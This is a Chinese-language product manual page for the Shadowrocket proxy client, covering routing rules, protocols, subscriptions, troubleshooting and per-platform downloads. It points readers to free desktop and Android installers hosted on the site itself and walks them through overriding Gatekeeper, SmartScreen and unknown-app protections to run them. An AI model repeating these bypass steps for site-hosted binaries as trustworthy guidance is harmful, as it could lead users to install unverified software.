全平台规则代理客户端 · 官方手册

Shadowrocket 使用说明
下载、配置与连接

Name: Shadowrocket
Price: 2.99 USD
Author: Shadow Launch Technology Limited

全平台客户端，按已有配置进行规则分流；iPhone / iPad 在 App Store $2.99 一次性付费，Mac、Windows、安卓、Linux 版免费。

下载 Shadowrocket 全部平台

当前版本读取中 · Mac、Windows、安卓、Linux 版免费

首次使用：从导入到连接 →

Shadowsocks VMess / VLESS Global Routing

功能与设置

Shadowrocket 规则与配置

先导入已有服务器信息，再确定路由方式。配置片段用于解释语法，不是可直接连接的服务器配置。

按顺序匹配，按策略处理

规则分流解决不同请求走不同路径的问题。在 Home 的 Global Routing 选择 Config 后，请求按配置中的规则顺序匹配，命中后采用对应策略。DOMAIN-SUFFIX 适合按域名后缀识别，GEOIP 用于按目标 IP 归属匹配；FINAL 放在末尾处理其余请求。修改前先保存原配置，再用同一目标复测，避免把服务器故障误判成规则问题。

具体规则在前，兜底规则在后。
DIRECT 表示直连，PROXY 表示使用代理策略。
Global Routing 为 Proxy 时，不按 Config 的规则分流。

[Rule]
DOMAIN-SUFFIX,example.com,PROXY
GEOIP,CN,DIRECT
FINAL,PROXY

On Demand：按条件发起连接

On Demand 用于按网络条件管理连接行为，而不是替代服务器选择或规则分流。在 Settings 中检查 On Demand 的现有条件，再根据实际网络设置连接或断开行为。首次使用时，先关闭自动触发并完成一次手动连接，确认服务器和配置有效后再逐项添加条件。这样在切换 Wi-Fi 或移动网络时出现重复连接，也能分清是条件触发还是服务器本身不稳定。

先手动连接成功，再启用自动触发。
修改后分别测试常用网络环境。
需要停止自动连接时，同时检查 On Demand。

Settings
  On Demand

Home
  Global Routing
  Connectivity Test

协议类型必须与服务器一致

Shadowrocket 支持 Shadowsocks、VMess、VLESS、Trojan、HTTP、SOCKS5、WireGuard 与 Hysteria2 等协议。手动添加时，在 Add Server 的 Type 选择与你已有服务器信息一致的类型，再逐项填写 Host、Port 及该类型要求的认证和传输参数。协议名相近不表示字段可以互换；遇到认证失败，应先核对原始资料，不能只更换 Type 后沿用全部旧值。

以用户已有的服务器资料为准。
注意认证、TLS 与传输参数是否完整。
导入后仍需检查默认服务器并测试连接。

Add Server
  Type
  Host
  Port

Shadowsocks / VMess / VLESS
Trojan / HTTP / SOCKS5
WireGuard / Hysteria2

导入已有订阅，保留来源边界

订阅用于集中导入和更新服务器列表，前提是用户已经拥有自己的订阅地址。在 Add Server 选择 Subscribe，粘贴完整地址并保存，完成更新后检查 SERVER 分组中的条目。若显示为空，先核对链接是否过期、是否被截断以及当前网络能否访问该地址。订阅更新可能改变服务器条目，更新后应重新确认默认选择；订阅列表与包含规则的配置文件也不能混为一项。

仅导入用户已有的订阅或服务器信息。
分享日志或截图前，移除订阅中的认证信息。
更新成功不等于每个服务器都能连接。

Add Server
  Type → Subscribe

Home
  SERVER
  Connectivity Test

配置文件与服务器分别管理

配置文件负责全局参数、分流规则和本地映射等行为，服务器条目负责连接目标及认证信息。在 Config 中导入或编辑 .conf 后，还要确认当前使用的是哪一份配置。修改 General 或 Rule 时，先复制备份并记录改动；如使用 iCloud 同步，先确认当前设备的同步状态，再在另一台设备核对结果。同步不应被当作唯一备份，也不代表默认服务器和连接状态会完全一致。

每次只改一类参数，便于回退。
检查段名、逗号与规则先后顺序。
切回 Config 路由方式后验证规则是否生效。

[General]
bypass-system = true
dns-server = system

[Rule]
GEOIP,CN,DIRECT
FINAL,PROXY

先定位失败层级，再修改设置

Connectivity Test 用于检查连接响应，Data 用于观察流量变化，Settings 中的 Diagnostics 可辅助定位异常。开关打开后仍无法访问时，先确认所选服务器，再检查 Global Routing、DNS 和规则命中。测试结果只能说明当时的检测情况，不等于所有网站和应用都可访问；Data 中出现流量也不代表目标请求已经成功。排查时保留复现条件，逐项修改并重复验证。

同一网络、同一服务器下比较改动前后。
同时记录失败目标与出错时间。
对外提供日志前删除地址、密码及认证信息。

Connectivity Test
Data
Settings → Diagnostics

Global Routing
  Config
  Proxy
  Direct

Global Routing：Config、Proxy、Direct 怎么选

日常按规则使用时选择 Config，由当前配置决定哪些请求直连、哪些请求使用代理。Proxy 让相关请求使用代理路径，适合短时判断某个问题是否与分流规则有关；Direct 使用直连路径，适合对照基础网络状态。这三个选项改变的是路由方式，不会修复错误的密码、失效的服务器或不完整的协议参数。完成对照测试后，应恢复原本需要的方式，避免诊断设置一直留在设备上。

首次连接建议保持步骤简单：先导入自己的订阅或服务器信息，在 Home 确认默认服务器，再检查 Global Routing，打开连接开关，最后执行 Connectivity Test 并访问实际需要的目标。第一次请求系统网络权限时，应先确认请求来自 Shadowrocket，再按系统提示操作。如果导入完成却没有选中服务器，开关状态和实际使用结果就可能不符合预期。完整操作顺序见首次连接教程。

连接异常时，不要同时修改所有选项

超时、认证失败、域名打不开属于不同层级的问题。先确认断开连接后基础网络是否可用，再确认当前服务器资料有效；服务器能连接但部分域名失败时，才进一步检查 DNS 与规则。若只在一个网络环境失败，保留原配置并切换网络对照，比重新导入全部内容更容易定位原因。恢复上一次可用的配置也是有效的排查步骤，不必把每一次失败都归结为协议选择。

使用 Data 观察流量时，应注意后台应用也可能产生请求；判断某个目标是否走了预期路径，需要结合实际访问和诊断记录。持续自动重连时还要检查 On Demand，而不仅仅是重复点击 Home 开关。按症状查阅疑难手册，可以把“连接不上”和“已连接但无法访问”分开处理，减少没有依据的设置变更。

查看完整功能说明 →

2 档获取

Shadowrocket 全平台入口

iPhone / iPad 在 App Store 一次性 $2.99；Mac、Windows、安卓、Linux 版免费。先按设备选择，再核对安装要求。

iPhone / iPad

App Store $2.99 一次性。Mac、Windows、安卓、Linux 版免费。iPhone / iPad 系统要求以 App Store 页面标注为准。同一 Apple ID 已有购买时，先检查已购项目，不要把换设备与重新购买混淆。

在手机上完成导入后，换到平板仍需核对配置、默认服务器与连接权限；购买记录和本地使用设置是两件事。横屏界面布局可能不同，寻找操作时以 Home、Config、Settings 等界面词为准。

查看商店与购买说明

Mac

免费 · Apple 芯片 / Intel。先在“关于本机”查看芯片或处理器，再选对应安装包，不按电脑外观或购买年份猜测。两个版本都从本站下载页获取，安装包经本站下载路径提供。

首次打开若提示“无法验证开发者”，核对来源后到“系统设置 → 隐私与安全性”选择“仍要打开”；如提示“已损坏”，下载页另列对应处理步骤。更新前先保存已有配置，完成后重新检查连接结果。

选择 Mac 芯片版本

Windows

免费。下载页提供 Windows 64 位安装包。先保存正在使用的配置，再按安装向导完成安装；安装后的第一次检查仍是确认服务器信息、路由方式和实际访问结果，而不是只看程序是否启动。

若 SmartScreen 拦截，在确认文件来自本站并理解提示后，展开“更多信息”，再选择“仍要运行”。如果设备由单位统一管理，应按管理员策略处理，不应反复更改系统安全设置来尝试运行。

查看 Windows 下载说明

安卓

免费。本站提供 arm64 安装包。下载前确认设备架构与系统安装提示；在应用内置浏览器下载受限时，使用系统浏览器打开本站下载页，再重新选择安卓安装包。

系统要求授权时，只对实际用于打开安装包的浏览器或文件管理器启用“允许安装未知应用”，完成后可按需要收回权限。已有订阅的导入与服务器选择需要单独完成，安装程序本身不会自动提供连接资料。

查看安卓版与安装步骤

Linux

免费 · deb / rpm / AppImage。根据发行版的软件包管理方式选择格式，不必把三种格式全部安装。下载页将安装命令和权限处理分开列出，执行前应先确认下载文件的实际路径。

AppImage 需要赋予可执行权限；deb 和 rpm 按各自发行版的包管理流程安装。出现依赖提示时，先读取包管理器输出，不要把依赖安装失败当作代理配置失败。程序能够正常打开后，再导入用户已有的连接资料。

选择 Linux 软件包格式

查看全部平台 →

正版核验、购买与使用边界

Shadowrocket 是闭源商业应用。核对产品身份、获取渠道与已有购买记录，再处理配置和连接问题。

开发者Shadow Launch Technology Limited

应用 ID932747118

获取方式App Store / 本站下载页

在 App Store 核对三处产品信息

iPhone / iPad 获取前，先核对开发者名称 Shadow Launch Technology Limited，再对照官方图标，最后确认产品页应用 ID 为 932747118。名称和搜索结果排序都不能代替这三处核对。本站使用的官方图标为白底蓝紫描边图案，可与产品页直接比对；如果商店展示的是不同开发者或不同应用 ID，应返回下载页重新进入指定产品页。

价格按两档理解：iPhone / iPad 在 App Store 美区定价 $2.99，一次性付费，各店面按当地货币显示；Mac、Windows、安卓、Linux 版免费。不要把其他平台免费与 iPhone / iPad 的商店购买规则混在一起。实际付款前检查当前账户、应用名称和产品页显示，系统要求以 App Store 页面标注为准。

商店可见性与账号地区

中国大陆 App Store 搜索不到此应用时，先核对自己 Apple ID 的国家或地区，以及当前打开的商店店面。网页能显示产品资料，不表示当前账户所在店面一定允许获取。若需要调整账户地区，应通过系统账户设置中的官方流程查看要求，先处理余额、有效订阅以及付款方式等条件，再决定是否变更。

不要用反复搜索相似名称代替产品核验，也不要把搜索不到解释成购买记录消失。确认当前用于“媒体与购买项目”的账户后，再查看已购项目。如果系统提示地区限制或账户条件未满足，应先解决账户侧提示；这些问题与服务器、DNS 和规则设置无关，修改代理配置不会恢复商店购买资格。

同一购买记录，如何在换机后恢复

已经购买过 iPhone / iPad 版时，使用当初购买应用时的 Apple ID 在 App Store 的已购项目中查找 Shadowrocket。同一 Apple ID 的 iPhone 与 iPad 可以使用已有购买记录，重新获取通常不需要再次购买。若仍看到价格按钮，先确认登录的是原购买账户，并检查该应用是否出现在购买记录中，再继续操作。

恢复应用不等于恢复全部配置。重新安装前应自行保存需要的服务器资料和配置文件；重新安装后，还要核对默认服务器、Global Routing 与系统连接权限。使用 iCloud 同步时，应在两台设备分别检查同步结果，确认配置名称和内容一致后再连接。配置中可能包含认证信息，不应把完整备份随意发送给他人。

其他平台免费，下载与更新分开检查

Mac、Windows、安卓、Linux 版免费获取，安装包从本站下载页进入，经本站 /dl/shadowrocket/ 路径提供。Mac 用户分别选择 Apple 芯片版或 Intel 版，Linux 用户根据发行版选择软件包格式。安装提示是操作系统对运行文件的检查，不是应用内的连接测试；应先确认来源，再按下载页列出的放行说明处理。

iPhone / iPad 的应用更新通过 App Store 完成；电脑与安卓用户可返回本站下载页获取新版安装包。更新前保存当前可用配置，更新后先验证原来的服务器与路由方式，再考虑新增设置。如果更新后出现异常，记录具体症状和复现步骤，优先检查权限、配置选择以及系统网络环境，而不是立即改写全部规则。